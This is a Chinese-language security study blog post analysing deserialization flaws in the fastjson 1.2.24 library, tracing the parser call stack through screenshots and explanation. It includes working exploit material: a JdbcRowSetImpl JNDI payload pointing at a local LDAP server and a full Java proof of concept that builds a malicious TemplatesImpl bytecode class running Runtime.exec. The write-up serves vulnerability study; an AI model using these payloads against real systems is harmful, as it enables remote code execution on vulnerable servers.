[Java安全] Fastjson的反序列化

Java知名依赖fastjson相关漏洞的分析学习

前言

在学习反序列化的时候,我不禁会想,链子就算满天飞,但是可能现实中就是没有一个允许用户控制的反序列化的点来触发。

之前学习到的Shiro550是一个很好的点去承载我们的序列化数据,但是假如没有这么一个rememberMe这个功能,那么我们研究了这么久的反序列化就没有用武之地了。

而现在分析的fastjson,也是Java反序列化中很重要的一个组件

Fastjson

fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

序列化与反序列化

首先了解他的序列化与反序列化,他的使用十分的简单

1
2
3
4
5
6
7
//序列化 JavaBean -> JSON
String text = JSON.toJSONString(obj);

//反序列化 JSON -> JavaBean
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

做个简单演示

首先是导包,这里选择导入1.2.24版本的fastjson

1
2
3
4
5
6
7
<dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
</dependencies>

首先创建一个简单的UserBean

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package jsontest;

public class user {
    private String name;
    private int age;
    public user() {
    }

    public user(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }


    @Override
    public String toString() {
        return "user{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

做一个序列化与反序列化的测试

使用toJSONString把UserBean序列化成json,测试三种反序列化的方法

  • JSON.parse(s1)
  • JSON.parseObject(s1)
  • JSON.parseObject(s1,Object.class)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package jsontest;

import com.alibaba.fastjson.JSON;

public class json {
    public static void main(String[] args) {
        user user1 = new user("test",18);

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        //通过parse方法进行反序列化,返回的是一个JSONObject
        System.out.println("-----------------------------------------------------");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
        System.out.println("parse反序列化:"+obj1);

        //通过parseObject,不指定类,返回的是一个JSONObject
        System.out.println("-----------------------------------------------------");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
        System.out.println("parseObject反序列化:"+obj2);

        //通过parseObject,指定类后返回的是一个相应的类对象
        System.out.println("-----------------------------------------------------");
        Object obj3 = JSON.parseObject(serializedStr,user.class);
        System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
        System.out.println("parseObject反序列化:"+obj3);


    }
}

运行结果

image-20221108112537463

可以发现:

  • parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
  • parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
  • parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

再测试一个SerializerFeature.WriteClassName参数

添加了这个参数的话,会将对象类型一起序列化并且会写入到@type字段中

1
String serializedStr=JSON.toJSONString(user,SerializerFeature.WriteClassName);

可以和前面运行的结果进行对比,这里执行parse反序列化对象从JSONObject变成了我们自己编写的user类

image-20221108232505523

所以这里出现了一个很敏感的问题,@type为恶意类时,我们可以通过他的get或set方法去进行一些恶意的操作了

其中getter自动调用还需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

setter自动调用需要满足以下条件:

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

除此之外Fastjson还有以下功能点:

  1. 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数
  2. fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串
  3. fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

下面就开始分析fastjson的安全相关的东西了,对于fastjson的攻击,这里有两个方式:

  • TemplatesImpl
  • JNDI注入利用链

JNDI注入

JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:

但是注意他对jdk有特殊的版本要求:jdk1.8.0_161 < 1.8u191

1
2
3
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)

这里JNDI注入利用到的是JdbcRowSetImpl,我们跟进进行分析,我们在这个类里面全局搜索一下lookup,可以发现在connet方法中进行了调用,参数从成员变量 dataSource 中获取

image-20221109133101984

再去找一个setXxxx能到达这里的,在setAutoCommit中发现了是调用了this.connect()

1
2
3
4
5
6
7
8
public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }
}

那么就可以很简单的构造一个JSON序列化数据了

1
2
3
4
5
{
    "@type":"com.sun.rowset.JdbcRowSetImpl", //调用com.sun.rowset.JdbcRowSetImpl函数中的
    "dataSourceName":"ldap://127.0.0.1:1389/Exploit", // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
    "autoCommit":true // 再调用setAutoCommit函数,传入true
}

本地测试起一个ldap服务,然后发起攻击即可

image-20221109135725551

成功rce

image-20221109135922996

TemplatesImpl

除了JNDI的注入,还可以使用TemplateImpl进行字节码的加载,但是条件比较苛刻

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
  2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

因为payload需要赋值的一些属性为private属性,服务端必须添加特性才回去从json中恢复private属性的数据

之前分析的TemplateImpl的时候,他利用链的最外层是一个getOutputProperties,但是parse进行自动调用的是setXxxx,那么我们就得想办法去找到一个setXxxx调用,为了搞懂我直接搬了个POC然后调试去跟一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package jsontest;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;


public class testTemplateimpl {

    //最终执行payload的类的原始模型
    //ps.要payload在static模块中执行的话,原始模型需要用static方式。
    public static class lala{

    }
    //返回一个在实例化过程中执行任意代码的恶意类的byte码
    //如果对于这部分生成原理不清楚,参考以前的文章
    public static byte[] getevilbyte() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(lala.class.getName());
        //要执行的最终命令
        String cmd = "java.lang.Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");";
        //之前说的静态初始化块和构造方法均可,这边用静态方法
        cc.makeClassInitializer().insertBefore(cmd);
//        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
//        cons.setBody("{"+cmd+"}");
//        cc.addConstructor(cons);
        //设置不重复的类名
        String randomClassName = "LaLa"+System.nanoTime();
        cc.setName(randomClassName);
        //设置满足条件的父类
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        //获取字节码
        byte[] lalaByteCodes = cc.toBytecode();

        return lalaByteCodes;
    }
    //生成payload,触发payload
    public static void  poc() throws Exception {
        //生成攻击payload
        byte[] evilCode = getevilbyte();//生成恶意类的字节码
        String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{"+
                "\"@type\":\"" + NASTY_CLASS +"\","+
                "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                "'_name':'a.b',"+
                "'_tfactory':{ },"+
                "'_outputProperties':{ }"+
                "}\n";
        //此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
        System.out.println(text1);
        //服务端触发payload
        ParserConfig config = new ParserConfig();
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
    }
    //main函数调用以下poc而已
    public static void main(String args[]){
        try {
            poc();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

先摆出调用栈

image-20221110212327862

我们直接从parseObject开始分析,这里实例化了一个DefaultJSONParser,把input也就是我们的payload载入了,然后执行了他的parseObject方法

image-20221110011553857

跟进DefaultJSONParser的parseObject,return了一个JavaObjectDeserializer的deserialze方法,把本类传入,也就自带了我们的payload进去

image-20221110012743319

继续跟进,这里执行了一个三元运算符,里面有个点是触发DefaultJSONParser的parser方法,但是要求前面的判断为false,这里有一个点是type != Object.class

image-20221110014236401

而回到我们的POC里,可以看到我们确实赋值了第二个参数为Object.class(第二个参数最后会传递成这里的type

1
2
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

那么我们就能如愿回到DefaultJSONParser进入parser方法

在这个方法之前,我们先看看一个变量lexer,由于我们传入的json数据,所以这里lexer.token会被赋值为12

image-20221110094938467

再去parser方法里看,由于我们的token为12,所以走进这里,调用parseObject

image-20221110103738659

跟进parseObject,他会识别@type,然后提取出我们输入的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,作为变量clazz

image-20221110200509212

这里再执行了一个getDeserializer并且把clazz传入

image-20221111101740620

这里跟进去getDeserializer,调用重载

image-20221110200015703

继续往下走,调用到了一个createJavaBeanDeserializer

image-20221110200631918

继续往下走,调用了JavaBeanInfo.build,clazz和type持续传递中

image-20221110200836734

这里就到了一个循环里面,循环获取他的setXxxx方法,可以看到如果以_开头,他会有所处理,这就和前面说的fastjson的特性一样

image-20221110201114961

这里是一样的,循环获取getXxxx

image-20221110201257789

把所有的setter和getter方法全部存入fieldList,最后return一个JavaBeanInfo

image-20221110201401885

再回到parseObject,执行刚刚返回的deserializer的deserialza方法

image-20221110160322020

重载了几次deserialze进入最终的deserialze,这里Object通过反射获取到TemplateImpl的实例

image-20221110214004995

实例化TemplateImpl作为object

image-20221110214234117

这里解释一下这个循环,他是利用了这个循环,把JSON中的每一个属性放进反序列化出来的类中,变成完整的、与JSON数据对应的类

最后把参数代入,走进parseField方法里面

image-20221110170126591

跟进parseField方法,这里实例化了一个DefaultFieldDeserializer,然后再执行DefaultFieldDeserializer的parseField方法

image-20221110210122447

继续跟进DefaultFieldDeserializer的parseField方法,这里就涉及到我们TemplateImpl实例的内容了,看看他是如何一步步把数据从JSON中还原出Object

这里最后执行的this.fieldValueDeserilizer.deserialze

image-20221110221809124

跟进去看,首先定义了一个空数组,然后执行了parser.parseArray

image-20221110222510942

跟进parseArray,这里执行了array.add,把_bytycode给加进去了,那么他add的val是怎么来的我们得跟一下前面的deserialze

image-20221110223048907

进去关注到这个函数bytesValue

image-20221110223356268

他会把我们的bytecode给base64解码,这也解释了我们为啥要把他base64给编码了

image-20221110223507978

return了我们解码了的bytecode,然后add进数组

最后再回到前面,执行this.toObjectArray(parser, componentClass, array)

这里就把bytecode给放入array了

image-20221110224335095

再回去得到返回值,赋值给value

image-20221110224523227

那么到最后这里就解释的通了,执行了一个setValue,传入的Object是TemplateImpl,value为我们的bytecode

image-20221110224939405

然后就到了invoke了,执行TemplateImpl的getOutputProperties

image-20221110210439793

后面的就不多说了,直接TemplateImpl一波了

后记

准备搓一个思维导图,先留个坑吧

流程图

参考文章:

https://tttang.com/archive/1579/

https://xz.aliyun.com/t/7027

https://www.cnblogs.com/nice0e3/p/14601670.html

Licensed under CC BY-NC-SA 4.0